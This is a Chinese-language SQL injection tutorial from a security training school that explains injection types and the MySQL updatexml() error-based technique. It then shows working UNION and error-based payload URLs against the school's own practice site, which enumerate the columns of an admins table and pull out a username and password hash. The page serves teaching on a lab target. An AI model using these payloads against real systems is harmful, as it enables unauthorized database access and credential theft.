MYSQL 字符型注入 实例演示 答案解析
以下信息调试输出,帮助您理解SQL注入,正常网站不显示
select * from admins where id = 1

什么是SQL注入
- (SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。
1,是一种将SQL语句插入或添加到应用(用户)的输入参数中的攻击
2,这些参数传递给后台的SQL数据库服务器加以解析并执行

SQL注入分类
-- 按数据类型分类,
1,分为 整形注入 整型注入 (不需要闭合,大多数不需要注释符号)
2,字符串类型注入 (需要闭合,或者需要注释)

-- 按注入语法分类,
1,UNION query SQL injection(可联合查询注入)
2,Error-based SQL injection(报错型注入)
3,Boolean-based blind SQL injection(布尔型注入)
4,Time-based blind SQL injection(基于时间延迟注入)
5,Stacked queries SQL injection(可多语句查询注入)
报错注入要了解的mysql中相关的函数,其中常用的有 floor(),updatexml(),extractvalue()
如果想了解更多报错函数,请点击 https://www.nvhack.com/forum.php?mod=viewthread&tid=206&highlight=mysql
首先了解下updatexml()函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

解析演示
http://www.nanhack.com/payload/sql/error.php?id=1 and updatexml(1,concat(0x23,database(),0x23),3)
#得到表名 admin_logs,admins,class,facebook,kaiban,message,news,user

爆表 admins 中的所有列
http://www.nanhack.com/payload/sql/char.php?id=-1' UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_schema=database() and table_name='admins'--+
# 得到 列名 id,username,userpwd,email,sex,money,role,vip

获取 admins 中的一条数据
http://www.nanhack.com/payload/sql/char.php?id=-1' UNION SELECT 1,concat(username,0x23,userpwd),3,4,5,6,7,8 from admins limit 0,1--+
# 得到数据 必火网络安全#68d7e8e91c53395e3d29a938c1ab5d18
必火安全祝您学习愉快,有想学习安全的亲戚朋友、或者薪资低想转行的大学毕业生,可以推荐到必火来,必火网络安全教学可靠、就业无忧

必火安全学院

报名微信:nvhack



© Copyright 2021 版权所有(一极教育科技有限公司)   津公网安备 12011602000477号 津ICP备17008032号-2   网络安全培训、企业合作、院校合作: 15320004362(手机同微信)